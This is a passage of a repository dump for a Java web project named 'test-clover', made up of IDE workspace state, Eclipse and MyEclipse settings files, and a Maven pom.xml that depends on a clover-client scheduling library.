      </SHUTDOWN>\n      </ConfigurationWrapper>\n      <ConfigurationWrapper VM_VAR=\"JAVA_OPTS\" RunnerId=\"Run\">\n        <option name=\"USE_ENV_VARIABLES\" value=\"true\" />\n        <STARTUP>\n          <option name=\"USE_DEFAULT\" value=\"true\" />\n          <option name=\"SCRIPT\" value=\"\" />\n          <option name=\"VM_PARAMETERS\" value=\"\" />\n          <option name=\"PROGRAM_PARAMETERS\" value=\"\" />\n        </STARTUP>\n        <SHUTDOWN>\n          <option name=\"USE_DEFAULT\" value=\"true\" />\n          <option name=\"SCRIPT\" value=\"\" />\n          <option name=\"VM_PARAMETERS\" value=\"\" />\n          <option name=\"PROGRAM_PARAMETERS\" value=\"\" />\n        </SHUTDOWN>\n      </ConfigurationWrapper>\n      <method>\n        <option name=\"BuildArtifacts\" enabled=\"true\">\n          <artifact name=\"test-clover:war exploded\" />\n        </option>\n      </method>\n    </configuration>\n    <list size=\"1\">\n      <item index=\"0\" class=\"java.lang.String\" itemvalue=\"Tomcat Server.tomcat6\" />\n    </list>\n  </component>\n  <component name=\"ShelveChangesManager\" show_recycled=\"false\" />\n  <component name=\"TaskManager\">\n    <task active=\"true\" id=\"Default\" summary=\"Default task\">\n      <changelist id=\"0bf5fa12-8bec-464c-8a26-e606afdfee26\" name=\"Default\" comment=\"\" />\n      <created>1418283507172</created>\n      <option name=\"number\" value=\"Default\" />\n      <updated>1418283507172</updated>\n      <workItem from=\"1418283510597\" duration=\"20227000\" />\n    </task>\n    <servers />\n  </component>\n  <component name=\"TimeTrackingManager\">\n    <option name=\"totallyTimeSpent\" value=\"20227000\" />\n  </component>\n  <component name=\"TodoView\" selected-index=\"0\">\n    <todo-panel id=\"selected-file\">\n      <are-packages-shown value=\"false\" />\n      <are-modules-shown value=\"false\" />\n      <flatten-packages value=\"false\" />\n      <is-autoscroll-to-source value=\"true\" />\n    </todo-panel>\n    <todo-panel id=\"all\">\n      <are-packages-shown value=\"true\" />\n      <are-modules-shown value=\"false\" />\n      <flatten-packages value=\"false\" />\n      <is-autoscroll-to-source value=\"true\" />\n    </todo-panel>\n    <todo-panel id=\"default-changelist\">\n      <are-packages-shown value=\"false\" />\n      <are-modules-shown value=\"false\" />\n      <flatten-packages value=\"false\" />\n      <is-autoscroll-to-source value=\"false\" />\n    </todo-panel>\n  </component>\n  <component name=\"ToolWindowManager\">\n    <frame x=\"-9\" y=\"-9\" width=\"1618\" height=\"870\" extended-state=\"6\" />\n    <editor active=\"false\" />\n    <layout>\n      <window_info id=\"Palette\" active=\"false\" anchor=\"right\" auto_hide=\"false\" internal_type=\"DOCKED\" type=\"DOCKED\" visible=\"false\" weight=\"0.33\" sideWeight=\"0.5\" order=\"4\" side_tool=\"false\" content_ui=\"tabs\" />\n      <window_info id=\"IDEtalk\" active=\"false\" anchor=\"right\" auto_hide=\"false\" internal_type=\"DOCKED\" type=\"DOCKED\" visible=\"false\" weight=\"0.33\" sideWeight=\"0.5\" order=\"1\" side_tool=\"false\" content_ui=\"tabs\" />\n      <window_info id=\"Commander\" active=\"false\" anchor=\"right\" auto_hide=\"false\" internal_type=\"SLIDING\" type=\"SLIDING\" visible=\"false\" weight=\"0.4\" sideWeight=\"0.5\" order=\"5\" side_tool=\"false\" content_ui=\"tabs\" />\n      <window_info id=\"Event Log\" active=\"false\" anchor=\"bottom\" auto_hide=\"false\" internal_type=\"DOCKED\" type=\"DOCKED\" visible=\"false\" weight=\"0.33\" sideWeight=\"0.5\" order=\"7\" side_tool=\"true\" content_ui=\"tabs\" />\n      <window_info id=\"Application Servers\" active=\"false\" anchor=\"bottom\" auto_hide=\"false\" internal_type=\"DOCKED\" type=\"DOCKED\" visible=\"false\" weight=\"0.7011494\" sideWeight=\"0.5\" order=\"0\" side_tool=\"false\" content_ui=\"tabs\" />\n      <window_info id=\"Maven Projects\" active=\"false\" anchor=\"right\" auto_hide=\"false\" internal_type=\"DOCKED\" type=\"DOCKED\" visible=\"false\" weight=\"0.32967743\" sideWeight=\"0.5\" order=\"0\" side_tool=\"false\" content_ui=\"tabs\" />\n      <window_info id=\"Designer\" active=\"false\" anchor=\"right\" auto_hide=\"false\" internal_type=\"DOCKED\" type=\"DOCKED\" visible=\"false\" weight=\"0.33\" sideWeight=\"0.5\" order=\"2\" side_tool=\"false\" content_ui=\"tabs\" />\n      <window_info id=\"Database\" active=\"false\" anchor=\"right\" auto_hide=\"false\" internal_type=\"DOCKED\" type=\"DOCKED\" visible=\"false\" weight=\"0.33\" sideWeight=\"0.5\" order=\"3\" side_tool=\"false\" content_ui=\"tabs\" />\n      <window_info id=\"Structure\" active=\"false\" anchor=\"left\" auto_hide=\"false\" internal_type=\"DOCKED\" type=\"DOCKED\" visible=\"false\" weight=\"0.25\" sideWeight=\"0.5\" order=\"5\" side_tool=\"false\" content_ui=\"tabs\" />\n      <window_info id=\"Ant Build\" active=\"false\" anchor=\"right\" auto_hide=\"false\" internal_type=\"DOCKED\" type=\"DOCKED\" visible=\"false\" weight=\"0.25\" sideWeight=\"0.5\" order=\"6\" side_tool=\"false\" content_ui=\"tabs\" />\n      <window_info id=\"UI Designer\" active=\"false\" anchor=\"left\" auto_hide=\"false\" internal_type=\"DOCKED\" type=\"DOCKED\" visible=\"false\" weight=\"0.33\" sideWeight=\"0.5\" order=\"0\" side_tool=\"false\" content_ui=\"tabs\" />\n      <window_info id=\"Debug\" active=\"false\" anchor=\"bottom\" auto_hide=\"false\" internal_type=\"DOCKED\" type=\"DOCKED\" visible=\"false\" weight=\"0.4\" sideWeight=\"0.5\" order=\"11\" side_tool=\"false\" content_ui=\"tabs\" />\n      <window_info id=\"Changes\" active=\"false\" anchor=\"bottom\" auto_hide=\"false\" internal_type=\"DOCKED\" type=\"DOCKED\" visible=\"false\" weight=\"0.33\" sideWeight=\"0.5\" order=\"1\" side_tool=\"false\" content_ui=\"tabs\" />\n      <window_info id=\"TODO\" active=\"false\" anchor=\"bottom\" auto_hide=\"false\" internal_type=\"DOCKED\" type=\"DOCKED\" visible=\"false\" weight=\"0.32902297\" sideWeight=\"0.5\" order=\"14\" side_tool=\"false\" content_ui=\"tabs\" />\n      <window_info id=\"Messages\" active=\"false\" anchor=\"bottom\" auto_hide=\"false\" internal_type=\"DOCKED\" type=\"DOCKED\" visible=\"false\" weight=\"0.3275862\" sideWeight=\"0.5\" order=\"2\" side_tool=\"false\" content_ui=\"tabs\" />\n      <window_info id=\"Palette&#9;\" active=\"false\" anchor=\"left\" auto_hide=\"false\" internal_type=\"DOCKED\" type=\"DOCKED\" visible=\"false\" weight=\"0.33\" sideWeight=\"0.5\" order=\"1\" side_tool=\"false\" content_ui=\"tabs\" />\n      <window_info id=\"Java Enterprise\" active=\"false\" anchor=\"bottom\" auto_hide=\"false\" internal_type=\"DOCKED\" type=\"DOCKED\" visible=\"false\" weight=\"0.33\" sideWeight=\"0.5\" order=\"3\" side_tool=\"false\" content_ui=\"tabs\" />\n      <window_info id=\"Version Control\" active=\"false\" anchor=\"bottom\" auto_hide=\"false\" internal_type=\"DOCKED\" type=\"DOCKED\" visible=\"false\" weight=\"0.33\" sideWeight=\"0.5\" order=\"4\" side_tool=\"false\" content_ui=\"tabs\" />\n      <window_info id=\"Run\" active=\"false\" anchor=\"bottom\" auto_hide=\"false\" internal_type=\"DOCKED\" type=\"DOCKED\" visible=\"false\" weight=\"0.7988506\" sideWeight=\"0.5\" order=\"10\" side_tool=\"false\" content_ui=\"tabs\" />\n      <window_info id=\"Terminal\" active=\"false\" anchor=\"bottom\" auto_hide=\"false\" internal_type=\"DOCKED\" type=\"DOCKED\" visible=\"false\" weight=\"0.33\" sideWeight=\"0.5\" order=\"5\" side_tool=\"false\" content_ui=\"tabs\" />\n      <window_info id=\"Project\" active=\"false\" anchor=\"left\" auto_hide=\"false\" internal_type=\"DOCKED\" type=\"DOCKED\" visible=\"false\" weight=\"0.27806452\" sideWeight=\"0.5\" order=\"4\" side_tool=\"false\" content_ui=\"combo\" />\n      <window_info id=\"Web\" active=\"false\" anchor=\"left\" auto_hide=\"false\" internal_type=\"DOCKED\" type=\"DOCKED\" visible=\"false\" weight=\"0.33\" sideWeight=\"0.5\" order=\"2\" side_tool=\"true\" content_ui=\"tabs\" />\n      <window_info id=\"IDEtalk Messages\" active=\"false\" anchor=\"bottom\" auto_hide=\"false\" internal_type=\"DOCKED\" type=\"DOCKED\" visible=\"false\" weight=\"0.33\" sideWeight=\"0.5\" order=\"6\" side_tool=\"false\" content_ui=\"tabs\" />\n      <window_info id=\"Find\" active=\"false\" anchor=\"bottom\" auto_hide=\"false\" internal_type=\"DOCKED\" type=\"DOCKED\" visible=\"false\" weight=\"0.33\" sideWeight=\"0.5\" order=\"9\" side_tool=\"false\" content_ui=\"tabs\" />\n      <window_info id=\"Favorites\" active=\"false\" anchor=\"left\" auto_hide=\"false\" internal_type=\"DOCKED\" type=\"DOCKED\" visible=\"false\" weight=\"0.33\" sideWeight=\"0.5\" order=\"3\" side_tool=\"true\" content_ui=\"tabs\" />\n      <window_info id=\"Cvs\" active=\"false\" anchor=\"bottom\" auto_hide=\"false\" internal_type=\"DOCKED\" type=\"DOCKED\" visible=\"false\" weight=\"0.25\" sideWeight=\"0.5\" order=\"12\" side_tool=\"false\" content_ui=\"tabs\" />\n      <window_info id=\"Hierarchy\" active=\"false\" anchor=\"right\" auto_hide=\"false\" internal_type=\"DOCKED\" type=\"DOCKED\" visible=\"false\" weight=\"0.25\" sideWeight=\"0.5\" order=\"7\" side_tool=\"false\" content_ui=\"combo\" />\n      <window_info id=\"Message\" active=\"false\" anchor=\"bottom\" auto_hide=\"false\" internal_type=\"DOCKED\" type=\"DOCKED\" visible=\"false\" weight=\"0.33\" sideWeight=\"0.5\" order=\"8\" side_tool=\"false\" content_ui=\"tabs\" />\n      <window_info id=\"Inspection\" active=\"false\" anchor=\"bottom\" auto_hide=\"false\" internal_type=\"DOCKED\" type=\"DOCKED\" visible=\"false\" weight=\"0.4\" sideWeight=\"0.5\" order=\"13\" side_tool=\"false\" content_ui=\"tabs\" />\n    </layout>\n  </component>\n  <component name=\"Vcs.Log.UiProperties\">\n    <option name=\"RECENTLY_FILTERED_USER_GROUPS\">\n      <collection />\n    </option>\n    <option name=\"RECENTLY_FILTERED_BRANCH_GROUPS\">\n      <collection />\n    </option>\n  </component>\n  <component name=\"VcsContentAnnotationSettings\">\n    <option name=\"myLimit\" value=\"2678400000\" />\n  </component>\n  <component name=\"VcsManagerConfiguration\">\n    <option name=\"myTodoPanelSettings\">\n      <TodoPanelSettings />\n    </option>\n  </component>\n  <component name=\"XDebuggerManager\">\n    <breakpoint-manager>\n      <option name=\"time\" value=\"1\" />\n    </breakpoint-manager>\n    <watches-manager />\n  </component>\n  <component name=\"antWorkspaceConfiguration\">\n    <option name=\"IS_AUTOSCROLL_TO_SOURCE\" value=\"false\" />\n    <option name=\"FILTER_TARGETS\" value=\"false\" />\n  </component>\n  <component name=\"editorHistoryManager\">\n    <entry file=\"jar://$MAVEN_REPOSITORY$/org/springframework/spring-beans/3.2.4.RELEASE/spring-beans-3.2.4.RELEASE-sources.jar!/org/springframework/beans/factory/annotation/AnnotatedBeanDefinition.java\">\n      <provider selected=\"true\" editor-type-id=\"text-editor\">\n        <state vertical-scroll-proportion=\"0.0\" vertical-offset=\"990\" max-vertical-offset=\"1518\">\n          <caret line=\"34\" column=\"41\" selection-start-line=\"34\" selection-start-column=\"41\" selection-end-line=\"34\" selection-end-column=\"41\" />\n          <folding>\n            <element signature=\"imports\" expanded=\"false\" />\n          </folding>\n        </state>\n      </provider>\n    </entry>\n    <entry file=\"jar://$APPLICATION_HOME_DIR$/plugins/maven/lib/maven.jar!/schemas/maven-4.0.0.xsd\">\n      <provider selected=\"true\" editor-type-id=\"text-editor\">\n        <state vertical-scroll-proportion=\"0.0\" vertical-offset=\"24500\" max-vertical-offset=\"73689\">\n          <caret line=\"749\" column=\"6\" selection-start-line=\"749\" selection-start-column=\"6\" selection-end-line=\"749\" selection-end-column=\"6\" />\n          <folding />\n        </state>\n      </provider>\n    </entry>\n    <entry file=\"file://$MAVEN_REPOSITORY$/com/gome/clover-core/dev-1.0/clover-core-dev-1.0.pom\">\n      <provider selected=\"true\" editor-type-id=\"text-editor\">\n        <state vertical-scroll-proportion=\"0.20276497\" vertical-offset=\"132\" max-vertical-offset=\"3432\">\n          <caret line=\"8\" column=\"13\" selection-start-line=\"8\" selection-start-column=\"13\" selection-end-line=\"8\" selection-end-column=\"13\" />\n          <folding />\n        </state>\n      </provider>\n    </entry>\n    <entry file=\"file://$PROJECT_DIR$/src/main/java/com/gome/testclover/InitAllJobWithServlet.java\">\n      <provider selected=\"true\" editor-type-id=\"text-editor\">\n        <state vertical-scroll-proportion=\"0.0\" vertical-offset=\"1362\" max-vertical-offset=\"2013\">\n          <caret line=\"44\" column=\"12\" selection-start-line=\"44\" selection-start-column=\"12\" selection-end-line=\"44\" selection-end-column=\"12\" />\n          <folding>\n            <element signature=\"imports\" expanded=\"false\" />\n          </folding>\n        </state>\n      </provider>\n    </entry>\n    <entry file=\"file://$PROJECT_DIR$/src/main/java/com/gome/testclover/localjob/LocalJobTest.java\">\n      <provider selected=\"true\" editor-type-id=\"text-editor\">\n        <state vertical-scroll-proportion=\"0.0\" vertical-offset=\"0\" max-vertical-offset=\"1287\">\n          <caret line=\"1\" column=\"0\" selection-start-line=\"1\" selection-start-column=\"0\" selection-end-line=\"1\" selection-end-column=\"0\" />\n          <folding>\n            <element signature=\"imports\" expanded=\"true\" />\n          </folding>\n        </state>\n      </provider>\n    </entry>\n    <entry file=\"file://$PROJECT_DIR$/src/main/java/com/gome/testclover/localjob/CronLocalJob.java\">\n      <provider selected=\"true\" editor-type-id=\"text-editor\">\n        <state vertical-scroll-proportion=\"0.8079096\" vertical-offset=\"198\" max-vertical-offset=\"990\">\n          <caret line=\"25\" column=\"66\" selection-start-line=\"19\" selection-start-column=\"4\" selection-end-line=\"25\" selection-end-column=\"66\" />\n          <folding />\n        </state>\n      </provider>\n    </entry>\n    <entry file=\"file://$PROJECT_DIR$/src/main/java/com/gome/testclover/spring/RemoteCronJobWithSpringAnnotation.java\">\n      <provider selected=\"true\" editor-type-id=\"text-editor\">\n        <state vertical-scroll-proportion=\"0.0\" vertical-offset=\"789\" max-vertical-offset=\"1485\">\n          <caret line=\"30\" column=\"30\" selection-start-line=\"30\" selection-start-column=\"30\" selection-end-line=\"30\" selection-end-column=\"30\" />\n          <folding />\n        </state>\n      </provider>\n    </entry>\n    <entry file=\"file://$PROJECT_DIR$/src/main/java/com/gome/testclover/spring/RemoteFixedDateJobWithSpringAnnotation.java\">\n      <provider selected=\"true\" editor-type-id=\"text-editor\">\n        <state vertical-scroll-proportion=\"0.0\" vertical-offset=\"801\" max-vertical-offset=\"1452\">\n          <caret line=\"34\" column=\"2\" selection-start-line=\"34\" selection-start-column=\"2\" selection-end-line=\"34\" selection-end-column=\"2\" />\n          <folding />\n        </state>\n      </provider>\n    </entry>\n    <entry file=\"file://$PROJECT_DIR$/src/main/java/com/gome/testclover/remotejob/RomoteCronJob.java\">\n      <provider selected=\"true\" editor-type-id=\"text-editor\">\n        <state vertical-scroll-proportion=\"0.44728917\" vertical-offset=\"99\" max-vertical-offset=\"924\">\n          <caret line=\"19\" column=\"43\" selection-start-line=\"19\" selection-start-column=\"43\" selection-end-line=\"19\" selection-end-column=\"43\" />\n          <folding />\n        </state>\n      </provider>\n    </entry>\n    <entry file=\"file://$PROJECT_DIR$/src/main/java/com/gome/testclover/spring/RemoteJobWithSpring.java\">\n      <provider selected=\"true\" editor-type-id=\"text-editor\">\n        <state vertical-scroll-proportion=\"0.0\" vertical-offset=\"0\" max-vertical-offset=\"627\">\n          <caret line=\"7\" column=\"13\" selection-start-line=\"7\" selection-start-column=\"13\" selection-end-line=\"7\" selection-end-column=\"13\" />\n          <folding />\n        </state>\n      </provider>\n    </entry>\n    <entry file=\"file://$PROJECT_DIR$/pom.xml\">\n      <provider selected=\"true\" editor-type-id=\"text-editor\">\n        <state vertical-scroll-proportion=\"0.0\" vertical-offset=\"0\" max-vertical-offset=\"2772\">\n          <caret line=\"13\" column=\"0\" selection-start-line=\"13\" selection-start-column=\"0\" selection-end-line=\"13\" selection-end-column=\"0\" />\n          <folding />\n        </state>\n      </provider>\n    </entry>\n    <entry file=\"file://$PROJECT_DIR$/src/main/java/com/gome/testclover/spring/RemoteJobWithSpringAnnotation.java\">\n      <provider selected=\"true\" editor-type-id=\"text-editor\">\n        <state vertical-scroll-proportion=\"0.0\" vertical-offset=\"10\" max-vertical-offset=\"726\">\n          <caret line=\"12\" column=\"13\" selection-start-line=\"12\" selection-start-column=\"13\" selection-end-line=\"12\" selection-end-column=\"13\" />\n          <folding />\n        </state>\n      </provider>\n    </entry>\n    <entry file=\"file://$PROJECT_DIR$/src/main/webapp/WEB-INF/web.xml\">\n      <provider selected=\"true\" editor-type-id=\"text-editor\">\n        <state vertical-scroll-proportion=\"0.0\" vertical-offset=\"198\" max-vertical-offset=\"1848\">\n          <caret line=\"13\" column=\"36\" selection-start-line=\"13\" selection-start-column=\"36\" selection-end-line=\"13\" selection-end-column=\"36\" />\n          <folding />\n        </state>\n      </provider>\n    </entry>\n    <entry file=\"file://$PROJECT_DIR$/src/main/resources/spring-config.xml\">\n      <provider selected=\"true\" editor-type-id=\"text-editor\">\n        <state vertical-scroll-proportion=\"6.6\" vertical-offset=\"0\" max-vertical-offset=\"693\">\n          <caret line=\"14\" column=\"0\" selection-start-line=\"14\" selection-start-column=\"0\" selection-end-line=\"14\" selection-end-column=\"0\" />\n          <folding />\n        </state>\n      </provider>\n    </entry>\n  </component>\n  <component name=\"masterDetails\">\n    <states>\n      <state key=\"ArtifactsStructureConfigurable.UI\">\n        <settings>\n          <artifact-editor />\n          <last-edited>test-clover:war</last-edited>\n          <splitter-proportions>\n            <option name=\"proportions\">\n              <list>\n                <option value=\"0.2\" />\n                <option value=\"0.5\" />\n              </list>\n            </option>\n          </splitter-proportions>\n        </settings>\n      </state>\n      <state key=\"FacetStructureConfigurable.UI\">\n        <settings>\n          <last-edited>Web</last-edited>\n          <splitter-proportions>\n            <option name=\"proportions\">\n              <list>\n                <option value=\"0.2\" />\n              </list>\n            </option>\n          </splitter-proportions>\n        </settings>\n      </state>\n      <state key=\"GlobalLibrariesConfigurable.UI\">\n        <settings>\n          <splitter-proportions>\n            <option name=\"proportions\">\n              <list>\n                <option value=\"0.2\" />\n              </list>\n            </option>\n          </splitter-proportions>\n        </settings>\n      </state>\n      <state key=\"JdkListConfigurable.UI\">\n        <settings>\n          <last-edited>1.6</last-edited>\n          <splitter-proportions>\n            <option name=\"proportions\">\n              <list>\n                <option value=\"0.2\" />\n              </list>\n            </option>\n          </splitter-proportions>\n        </settings>\n      </state>\n      <state key=\"ModuleStructureConfigurable.UI\">\n        <settings>\n          <last-edited>test-clover</last-edited>\n          <splitter-proportions>\n            <option name=\"proportions\">\n              <list>\n                <option value=\"0.2\" />\n                <option value=\"0.6\" />\n              </list>\n            </option>\n          </splitter-proportions>\n        </settings>\n      </state>\n      <state key=\"ProjectLibrariesConfigurable.UI\">\n        <settings>\n          <last-edited>clover-core-dev-1.0</last-edited>\n          <splitter-proportions>\n            <option name=\"proportions\">\n              <list>\n                <option value=\"0.2\" />\n              </list>\n            </option>\n          </splitter-proportions>\n        </settings>\n      </state>\n    </states>\n  </component>\n</project>"
  },
  {
    "path": "test-clover/.myeclipse/profiler/RomoteCronJob.xml",
    "content": "<?xml version=\"1.0\" encoding=\"UTF-8\" standalone=\"no\"?>\r\n<!DOCTYPE properties SYSTEM \"http://java.sun.com/dtd/properties.dtd\">\r\n<properties>\r\n<entry key=\"profiler.settings.instrument.empty.methods\">true</entry>\r\n<entry key=\"ProfilerCPUSettings_version\">1.0</entry>\r\n<entry key=\"ProfilerCPUSettings_profile_runnables\">true</entry>\r\n<entry key=\"ProfilerCPUSettings_filter_type\">2</entry>\r\n<entry key=\"ProfilerMemorySettings_track_every\">10</entry>\r\n<entry key=\"ProfilerMemorySettings_mode\">4</entry>\r\n<entry key=\"ProfilerCPUSettings_root_classes\">com.gome.testclover.localjob.**\r\ncom.gome.testclover.remotejob.**\r\n</entry>\r\n<entry key=\"ProfilerCPUSettings_filter_value\">com.gome.testclover.localjob.*,\r\ncom.gome.testclover.remotejob.*</entry>\r\n<entry key=\"profiler.settings.istrument.getter.setter.methods\">true</entry>\r\n<entry key=\"ProfilerMemorySettings_stacktraces\">-1</entry>\r\n<entry key=\"myeclipse.profiling.mode\">0</entry>\r\n</properties>\r\n"
  },
  {
    "path": "test-clover/.mymetadata",
    "content": "<?xml version=\"1.0\" encoding=\"UTF-8\"?>\r\n<project-module\n  type=\"WEB\"\n  name=\"test-clover\"\n  id=\"myeclipse.1418107930834\"\n  context-root=\"/test-clover\"\n  j2ee-spec=\"5.0\"\n  archive=\"test-clover.war\">\r\n  <attributes>\r\n    <attribute name=\"webrootdir\" value=\"src/main/webapp\" />\r\n  </attributes>\r\n</project-module>\r\n\r\n"
  },
  {
    "path": "test-clover/.project",
    "content": "<?xml version=\"1.0\" encoding=\"UTF-8\"?>\r\n<projectDescription>\r\n\t<name>test-clover</name>\r\n\t<comment></comment>\r\n\t<projects>\r\n\t</projects>\r\n\t<buildSpec>\r\n\t\t<buildCommand>\r\n\t\t\t<name>org.eclipse.wst.common.project.facet.core.builder</name>\r\n\t\t\t<arguments>\r\n\t\t\t</arguments>\r\n\t\t</buildCommand>\r\n\t\t<buildCommand>\r\n\t\t\t<name>org.eclipse.wst.jsdt.core.javascriptValidator</name>\r\n\t\t\t<arguments>\r\n\t\t\t</arguments>\r\n\t\t</buildCommand>\r\n\t\t<buildCommand>\r\n\t\t\t<name>com.genuitec.eclipse.j2eedt.core.WebClasspathBuilder</name>\r\n\t\t\t<arguments>\r\n\t\t\t</arguments>\r\n\t\t</buildCommand>\r\n\t\t<buildCommand>\r\n\t\t\t<name>org.eclipse.jdt.core.javabuilder</name>\r\n\t\t\t<arguments>\r\n\t\t\t</arguments>\r\n\t\t</buildCommand>\r\n\t\t<buildCommand>\r\n\t\t\t<name>com.genuitec.eclipse.j2eedt.core.J2EEProjectValidator</name>\r\n\t\t\t<arguments>\r\n\t\t\t</arguments>\r\n\t\t</buildCommand>\r\n\t\t<buildCommand>\r\n\t\t\t<name>com.genuitec.eclipse.j2eedt.core.DeploymentDescriptorValidator</name>\r\n\t\t\t<arguments>\r\n\t\t\t</arguments>\r\n\t\t</buildCommand>\r\n\t\t<buildCommand>\r\n\t\t\t<name>org.eclipse.wst.validation.validationbuilder</name>\r\n\t\t\t<arguments>\r\n\t\t\t</arguments>\r\n\t\t</buildCommand>\r\n\t\t<buildCommand>\r\n\t\t\t<name>org.eclipse.m2e.core.maven2Builder</name>\r\n\t\t\t<arguments>\r\n\t\t\t</arguments>\r\n\t\t</buildCommand>\r\n\t\t<buildCommand>\r\n\t\t\t<name>com.genuitec.eclipse.ast.deploy.core.DeploymentBuilder</name>\r\n\t\t\t<arguments>\r\n\t\t\t</arguments>\r\n\t\t</buildCommand>\r\n\t</buildSpec>\r\n\t<natures>\r\n\t\t<nature>com.genuitec.eclipse.ast.deploy.core.deploymentnature</nature>\r\n\t\t<nature>org.eclipse.m2e.core.maven2Nature</nature>\r\n\t\t<nature>org.eclipse.jem.workbench.JavaEMFNature</nature>\r\n\t\t<nature>com.genuitec.eclipse.j2eedt.core.webnature</nature>\r\n\t\t<nature>org.eclipse.jdt.core.javanature</nature>\r\n\t\t<nature>org.eclipse.wst.jsdt.core.jsNature</nature>\r\n\t\t<nature>org.eclipse.wst.common.project.facet.core.nature</nature>\r\n\t\t<nature>org.eclipse.wst.common.modulecore.ModuleCoreNature</nature>\r\n\t</natures>\r\n</projectDescription>\r\n"
  },
  {
    "path": "test-clover/.settings/.jsdtscope",
    "content": "<?xml version=\"1.0\" encoding=\"UTF-8\"?>\r\n<classpath>\r\n\t<classpathentry kind=\"src\" path=\"src/main/webapp\"/>\r\n\t<classpathentry kind=\"con\" path=\"org.eclipse.wst.jsdt.launching.JRE_CONTAINER\"/>\r\n\t<classpathentry kind=\"con\" path=\"org.eclipse.wst.jsdt.launching.WebProject\">\r\n\t\t<attributes>\r\n\t\t\t<attribute name=\"hide\" value=\"true\"/>\r\n\t\t</attributes>\r\n\t</classpathentry>\r\n\t<classpathentry kind=\"con\" path=\"org.eclipse.wst.jsdt.launching.baseBrowserLibrary\"/>\r\n\t<classpathentry kind=\"output\" path=\"\"/>\r\n</classpath>\r\n"
  },
  {
    "path": "test-clover/.settings/com.genuitec.eclipse.j2eedt.core.prefs",
    "content": "#Tue Dec 09 14:52:22 CST 2014\r\neclipse.preferences.version=1\r\nuseAssemblyMapping=true\r\n"
  },
  {
    "path": "test-clover/.settings/org.eclipse.core.resources.prefs",
    "content": "#Wed Dec 10 16:09:35 CST 2014\r\neclipse.preferences.version=1\r\nencoding//src/main/java=UTF-8\r\n"
  },
  {
    "path": "test-clover/.settings/org.eclipse.jdt.core.prefs",
    "content": "#Tue Dec 09 14:52:22 CST 2014\r\neclipse.preferences.version=1\r\norg.eclipse.jdt.core.compiler.codegen.inlineJsrBytecode=enabled\r\norg.eclipse.jdt.core.compiler.codegen.targetPlatform=1.5\r\norg.eclipse.jdt.core.compiler.compliance=1.5\r\norg.eclipse.jdt.core.compiler.problem.assertIdentifier=error\r\norg.eclipse.jdt.core.compiler.problem.enumIdentifier=error\r\norg.eclipse.jdt.core.compiler.problem.forbiddenReference=warning\r\norg.eclipse.jdt.core.compiler.source=1.5\r\n"
  },
  {
    "path": "test-clover/.settings/org.eclipse.m2e.core.prefs",
    "content": "#Tue Dec 09 14:52:19 CST 2014\r\nactiveProfiles=\r\neclipse.preferences.version=1\r\nresolveWorkspaceProjects=true\r\nversion=1\r\n"
  },
  {
    "path": "test-clover/.settings/org.eclipse.wst.common.component",
    "content": "<?xml version=\"1.0\" encoding=\"UTF-8\"?>\r\n<project-modules id=\"moduleCoreId\" project-version=\"1.5.0\">\r\n    <wb-module deploy-name=\"test-clover\">\r\n        <wb-resource deploy-path=\"/WEB-INF/classes\" source-path=\"/src/main/java\"/>\r\n        <wb-resource deploy-path=\"/\" source-path=\"/src/main/webapp\"/>\r\n        <property name=\"context-root\" value=\"/test-clover\"/>\r\n        <property name=\"java-output-path\" value=\"/test-clover/src/main/webapp/WEB-INF/classes\"/>\r\n    </wb-module>\r\n</project-modules>\r\n"
  },
  {
    "path": "test-clover/.settings/org.eclipse.wst.common.project.facet.core.xml",
    "content": "<?xml version=\"1.0\" encoding=\"UTF-8\"?>\r\n<faceted-project>\r\n  <fixed facet=\"wst.jsdt.web\"/>\r\n  <installed facet=\"java\" version=\"1.5\"/>\r\n  <installed facet=\"jst.web\" version=\"2.5\"/>\r\n  <installed facet=\"wst.jsdt.web\" version=\"1.0\"/>\r\n</faceted-project>\r\n"
  },
  {
    "path": "test-clover/.settings/org.eclipse.wst.jsdt.ui.superType.container",
    "content": "org.eclipse.wst.jsdt.launching.baseBrowserLibrary"
  },
  {
    "path": "test-clover/.settings/org.eclipse.wst.jsdt.ui.superType.name",
    "content": "Window"
  },
  {
    "path": "test-clover/pom.xml",
    "content": "<project xmlns=\"http://maven.apache.org/POM/4.0.0\" xmlns:xsi=\"http://www.w3.org/2001/XMLSchema-instance\"\r\n         xsi:schemaLocation=\"http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd\">\r\n    <modelVersion>4.0.0</modelVersion>\r\n    <groupId>test-clover</groupId>\r\n    <artifactId>test-clover</artifactId>\r\n    <version>0.0.1-SNAPSHOT</version>\r\n    <packaging>war</packaging>\r\n    <name/>\r\n    <description/>\r\n    <properties>\r\n        <project.build.sourceEncoding>UTF-8</project.build.sourceEncoding>\r\n    </properties>\r\n    <dependencies>\r\n\r\n        <dependency>\r\n            <groupId>com.gome</groupId>\r\n            <artifactId>clover-client</artifactId>\r\n            <version>1.0.sit-SNAPSHOT</version>\r\n        </dependency>\r\n\r\n        <dependency>\r\n            <groupId>junit</groupId>\r\n            <artifactId>junit</artifactId>\r\n            <version>4.11</version>\r\n        </dependency>\r\n\r\n    </dependencies>\r\n    <build>\r\n        <plugins>\r\n            <!-- 跳过单元测试 -->\r\n            <plugin>\r\n                <groupId>org.apache.maven.plugins</groupId>\r\n                <artifactId>maven-surefire-plugin</artifactId>\r\n                <version>2.17</version>\r\n                <configuration>\r\n                    <skip>true</skip>\r\n                </configuration>\r\n            </plugin>\r\n            <plugin>\r\n                <groupId>org.apache.maven.plugins</groupId>\r\n                <artifactId>maven-compiler-plugin</artifactId>\r\n                <version>3.1</version>\r\n                <configuration>\r\n                    <source>1.6</source>\r\n                    <target>1.6</target>\r\n                    <encoding>UTF-8</encoding>\r\n                </configuration>\r\n            </plugin>\r\n            <plugin>\r\n                <groupId>org.apache.maven.plugins</groupId>\r\n                <artifactId>maven-eclipse-plugin</artifactId>\r\n                <version>2.5.1</version>\r\n            </plugin>\r\n            <plugin>\r\n                <groupId>org.apache.maven.plugins</groupId>\r\n                <artifactId>maven-resources-plugin</artifactId>\r\n                <version>2.6</version>\r\n                <configuration>\r\n                    <encoding>UTF-8</encoding>\r\n                </configuration>\r\n            </plugin>\r\n            <plugin>\r\n                <groupId>org.apache.maven.plugins</groupId>\r\n                <artifactId>maven-war-plugin</artifactId>\r\n                <version>2.4</version>\r\n                <configuration>\r\n                    <archiveClasses>false</archiveClasses>\r\n                </configuration>\r\n            </plugin>\r\n\r\n        </plugins>\r\n        <resources>\r\n            <resource>\r\n                <directory>src/main/resources</directory>\r\n                <filtering>true</filtering>\r\n            </resource>\r\n        </resources>\r\n    